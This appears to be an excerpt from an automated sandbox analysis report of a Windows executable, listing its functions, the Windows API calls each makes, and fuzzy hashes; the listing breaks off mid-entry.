Instruction ID: 2ef6d83f5e2b3c8fb19d65fceeff62dc40447b47a2c1a218917e14d6a90cbc88
Opcode Fuzzy Hash: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction Fuzzy Hash: E38162FBE69644E5EA07B763BC86BED5220D3AD3D4F504410FF08062A3EE3995E64B10

Function 000000014000DE50 Relevance: 9.2, APIs: 6, Instructions: 151
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400112A8: EnterCriticalSection.KERNEL32 ref: 00000001400112C4
Part of subcall function 00000001400112A8: LeaveCriticalSection.KERNEL32 ref: 0000000140011355

CreateFileW.KERNEL32 ref: 000000014000DEED
CreateFileW.KERNEL32 ref: 000000014000DF37
CreateFileW.KERNEL32 ref: 000000014000DF7E
CreateFileW.KERNEL32 ref: 000000014000DFAC
HeapAlloc.KERNEL32 ref: 000000014000DFED
SetFilePointer.KERNEL32 ref: 000000014000E047

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: File$Create$CriticalSection$AllocEnterHeapLeavePointer
String ID:
API String ID: 2685021396-0
Opcode ID: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction ID: 9fd7d13fb8664e67d48ce56ae15862c74b29b4b7423edb5d501112f331116329
Opcode Fuzzy Hash: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction Fuzzy Hash: 2B51D4B261469086E761CF17F9007AA7690B39CBE4F04873AFF6A47BE4DB79C4419B10

Function 000000014000593C Relevance: 7.0, APIs: 4, Instructions: 980
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012450: wcslen.MSVCRT ref: 000000014001246E

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetModuleHandleW.KERNEL32 ref: 00000001400061AE

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 00000001400125D0: TlsGetValue.KERNEL32 ref: 00000001400125DA

Part of subcall function 0000000140007DC0: CharUpperW.USER32 ref: 0000000140007E24

Part of subcall function 0000000140001E57: GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

PathRemoveBackslashW.SHLWAPI ref: 00000001400063A7

Part of subcall function 0000000140012520: TlsGetValue.KERNEL32 ref: 000000014001252A

Part of subcall function 000000014000C45C: SetEnvironmentVariableW.KERNEL32 ref: 000000014000C476

PathQuoteSpacesW.SHLWAPI ref: 00000001400064FF
PathQuoteSpacesW.SHLWAPI ref: 000000014000656B

Part of subcall function 0000000140007284: CreateThread.KERNEL32 ref: 00000001400072B3
Part of subcall function 0000000140007284: EnterCriticalSection.KERNEL32 ref: 00000001400072CC
Part of subcall function 0000000140007284: LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Value$HeapPath$AllocCriticalErrorLastQuoteSectionSpaces$BackslashCharCreateEnterEnvironmentFileFreeHandleLeaveModuleNameRemoveTempThreadUpperVariablewcslen
String ID:
API String ID: 2499486723-0
Opcode ID: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction ID: 5e2f233be3bb1e1a489454234068146e28d45b36aeb09ace1181e30b51997f55
Opcode Fuzzy Hash: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction Fuzzy Hash: 6C722BB6E25548D6EA16B7B7B8877E95220A3AD394F500411FF4C0B363EE39C5F64B10

Function 000000014000E620 Relevance: 6.1, APIs: 4, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32 ref: 000000014000E664
memmove.MSVCRT(?,?,?,?,?,000000014000E5DD), ref: 000000014000E69F

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: FilePointermemmove
String ID:
API String ID: 2366752189-0
Opcode ID: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction ID: b9f44d82ba4cb6c24f152d63ce96d8852f082d92484b54d7365d071901ec84b9
Opcode Fuzzy Hash: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction Fuzzy Hash: 7541837770468086DB01CF7AF1402ADF7A4EB98BD9F084426EF4C43BA5DA39C591CB50

Function 0000000140001000 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012060: HeapCreate.KERNEL32 ref: 000000014001206E
Part of subcall function 0000000140012060: TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 000000014000C980: HeapCreate.KERNEL32 ref: 000000014000C98E

Part of subcall function 000000014000B538: memset.MSVCRT ref: 000000014000B547
Part of subcall function 000000014000B538: InitCommonControlsEx.COMCTL32 ref: 000000014000B561
Part of subcall function 000000014000B538: CoInitialize.OLE32 ref: 000000014000B569

Part of subcall function 00000001400120D0: HeapAlloc.KERNEL32 ref: 0000000140012123

Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD11
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD42
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CDB2

Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D56E
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D58F
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D5A1

Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D476
Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D491

Part of subcall function 0000000140011D30: HeapAlloc.KERNEL32 ref: 0000000140011D82
Part of subcall function 0000000140011D30: memset.MSVCRT ref: 0000000140011DB6

Part of subcall function 00000001400120D0: HeapReAlloc.KERNEL32 ref: 0000000140012151
Part of subcall function 00000001400120D0: HeapFree.KERNEL32 ref: 0000000140012194

Part of subcall function 000000014000C4D0: RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
Part of subcall function 000000014000C4D0: AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

HeapDestroy.KERNEL32 ref: 000000014000124C
ExitProcess.KERNEL32 ref: 0000000140001258

Strings

0V, xrefs: 00000001400010C5

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Heap$Alloc$Free$CreateErrorExceptionHandlerLastValueVectoredmemset$CommonControlsDestroyExitInitInitializeProcessRemove
String ID: 0V
API String ID: 1207063833-2748129481
Opcode ID: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction ID: 5ef5c56730dbad915fac233b77092dd37bc53bc4ec3343fa221c1b372e2f6746
Opcode Fuzzy Hash: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction Fuzzy Hash: 9D510AF0A11A4081FA03F7A3F8527E926559B9D7D0F808119BF1D1B3F3DD3A86598B22

Function 000000014000E3F0 Relevance: 4.6, APIs: 3, Instructions: 67
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 000000014000E472
WriteFile.KERNEL32 ref: 000000014000E4D6
HeapFree.KERNEL32 ref: 000000014000E4E8

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: FileWrite$FreeHeap
String ID:
API String ID: 74418370-0
Opcode ID: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction ID: 9d08b72cfe526555b527e3d6fc60fa1eae748afb3cf0625e1a419d858907832f
Opcode Fuzzy Hash: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction Fuzzy Hash: 43317EB2205A8082EB22DF16E0453A9B7B0F789BD4F548515EB59577F4DF3EC488CB00

Function 000000014000D914 Relevance: 4.5, APIs: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncpy.MSVCRT ref: 000000014000D932
wcslen.MSVCRT ref: 000000014000D944
CreateDirectoryW.KERNEL32 ref: 000000014000D994

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction ID: 5f5e6732187473c7e9a992da28a106256b0abf82a063e4d7cd37b44a9c7c83f6
Opcode Fuzzy Hash: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction Fuzzy Hash: 100188A621264191EF72DB65E0643E9B350F78C7C4F804523FB8D036A8EE3DC645CB14

Function 000000014000B538 Relevance: 4.5, APIs: 3, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 000000014000B547
InitCommonControlsEx.COMCTL32 ref: 000000014000B561
CoInitialize.OLE32 ref: 000000014000B569

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CommonControlsInitInitializememset
String ID:
API String ID: 2179856907-0
Opcode ID: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction ID: 449a974473b47bcf77cc2e9d1d873e7016711834fb404a36d393ff203d460c1f
Opcode Fuzzy Hash: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction Fuzzy Hash: E0E0E27263658092E785EB22E8857AEB260FB88748FC06105F38B469A5CF3DC659CF00

Function 0000000140012210 Relevance: 3.8, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 0000000140012223
HeapAlloc.KERNEL32 ref: 0000000140012266
HeapReAlloc.KERNEL32 ref: 0000000140012293

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocHeap$Value
String ID:
API String ID: 3898337583-0
Opcode ID: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction ID: 13d1d2221b5dfffbe944c94766c5cf34ad854dcf92a9a233d77868c63a58341b
Opcode Fuzzy Hash: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction Fuzzy Hash: BA21A336609B40C6DA21CB5AE89136AB7A1F7CDBD4F108126EB8D87B38DF3DC5518B00

Function 00000001400029C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetExitCodeProcess.KERNEL32 ref: 0000000140002ADD

Strings

open, xrefs: 0000000140002A68, 0000000140002A75

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CodeExitProcess
String ID: open
API String ID: 3861947596-2758837156
Opcode ID: 4cf6f5f02477868f662f0c04b5321cd13397de582ab68467988eee586df03510
Instruction ID: e85bff13557fc8eee7e7e221a0258bb1a2e766680f88975b06e903b36e14beee
Opcode Fuzzy Hash: 4cf6f5f02477868f662f0c04b5321cd13397de582ab68467988eee586df03510
Instruction Fuzzy Hash: 44315E73A19A84D9DA619B6AF8417EE6364F388784F404415FF8D07B6ADF3CC2958B40

Function 0000000140002930 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400123E0: TlsGetValue.KERNEL32 ref: 00000001400123F8

RemoveDirectoryW.KERNEL32(00000000,?,0000000140003010), ref: 000000014000299C
RemoveDirectoryW.KERNEL32(?,0000000140003010), ref: 00000001400029A8

Part of subcall function 0000000140007170: WaitForSingleObject.KERNEL32 ref: 0000000140007187

Part of subcall function 000000014000720C: TerminateThread.KERNEL32 ref: 0000000140007223
Part of subcall function 000000014000720C: EnterCriticalSection.KERNEL32 ref: 0000000140007230

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: DirectoryRemove$CriticalEnterObjectSectionSingleTerminateThreadValueWait
String ID:
API String ID: 547990026-0
Opcode ID: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction ID: 7a41e47de86a43ff34abb2becfbad555fd020f9bfb046cc2ed969e3c0c855493
Opcode Fuzzy Hash: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction Fuzzy Hash: 0F01FFF5509B01E5F923BB63BC02BDA6B61E74E3E0F409405BB89131B3DE3DD9849610

Function 000000014000C4D0 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: ExceptionHandlerVectored$Remove
String ID:
API String ID: 3670940754-0
Opcode ID: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction ID: 54ed52b0d94e107c171475cce83a86a7777a808cb3853d4771323e3d57a36066
Opcode Fuzzy Hash: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction Fuzzy Hash: 8AF0ED7061370485FE5BDB93B8987F472A0AB4C7C0F184029BB49076719F3C88A48348

Function 000000014000DA6C Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
DeleteFileW.KERNEL32 ref: 000000014000DA95

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction ID: adf2a79140fabccb03c20fd21f07aa3af446659453137af282c5310bbe8ffc9f
Opcode Fuzzy Hash: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction Fuzzy Hash: 48E05BB471910195FB6BD7A778153F521419F8D7D1F184121AB42071B0EF3D44C55222

Function 0000000140012060 Relevance: 3.0, APIs: 2, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32 ref: 000000014001206E
TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C03
Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C1D
Part of subcall function 0000000140012BF0: TlsSetValue.KERNEL32 ref: 0000000140012C50

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocHeap$CreateValue
String ID:
API String ID: 493873155-0
Opcode ID: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction ID: 66307e28580f649ba8418ae6b9c958ace7f1b69875393c61862d084d03b91818
Opcode Fuzzy Hash: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction Fuzzy Hash: 9ED0C939A1175092EB46AB72AC5A3E922A0F75C3C1F901819B70907775DF7E81956A00

Function 00000001400120A0 Relevance: 3.0, APIs: 2, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNEL32 ref: 00000001400120AB
TlsFree.KERNEL32 ref: 00000001400120B7

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: DestroyFreeHeap
String ID:
API String ID: 3293292866-0
Opcode ID: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction ID: 71a10d3d5b3131d437c50284ad1bfb95f0c128dd24e11de8e9b8b88d768efc2d
Opcode Fuzzy Hash: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction Fuzzy Hash: 4CC04C34611400D2E606EB13EC953A42362B79C7C5F801414E70E1B671CE394955E700

Function 0000000140011D30 Relevance: 2.6, APIs: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140011EF4: HeapFree.KERNEL32 ref: 0000000140011F4D

HeapAlloc.KERNEL32 ref: 0000000140011D82
memset.MSVCRT ref: 0000000140011DB6

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Heap$AllocFreememset
String ID:
API String ID: 3063399779-0
Opcode ID: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction ID: 5c5c97092251ccb6e51d21bc2c296289ab600fd53c4e4fe069e69402a2a58e68
Opcode Fuzzy Hash: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction Fuzzy Hash: F7213B32601B5086EA1ADB53BC41799A6A8FBC8FD0F498025AF584BB66DE38C852C340

Function 00000001400126D0 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000001400126E2
HeapReAlloc.KERNEL32 ref: 0000000140012762

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocHeapValue
String ID:
API String ID: 2362848668-0
Opcode ID: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction ID: d5031950f6f24f379c2142eebe898701a91e7a03f91a2b9bee16bac6c279ab43
Opcode Fuzzy Hash: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction Fuzzy Hash: 2D219676609B44C6CB20CF5AE49025AB7A0F7CCBA8F144216EB8D43B78DF79C651CB40

Function 000000014000DD30 Relevance: 2.5, APIs: 2, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 000000014000DD88
CloseHandle.KERNEL32 ref: 000000014000DD91

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CloseFreeHandleHeap
String ID:
API String ID: 1642312469-0
Opcode ID: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction ID: 5f93da8337f86b39695cad05c5aa1bbbcf0731d39a623fe836b1511b3ba38e21
Opcode Fuzzy Hash: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction Fuzzy Hash: AD01FB71614A4081EA56EBA7F5543E96391ABCDBE0F445216BB2E4B7F6DE38C4808740

Function 00000001400122F0 Relevance: 2.5, APIs: 2, Instructions: 25memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 000000014001230B
HeapAlloc.KERNEL32 ref: 000000014001232C

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
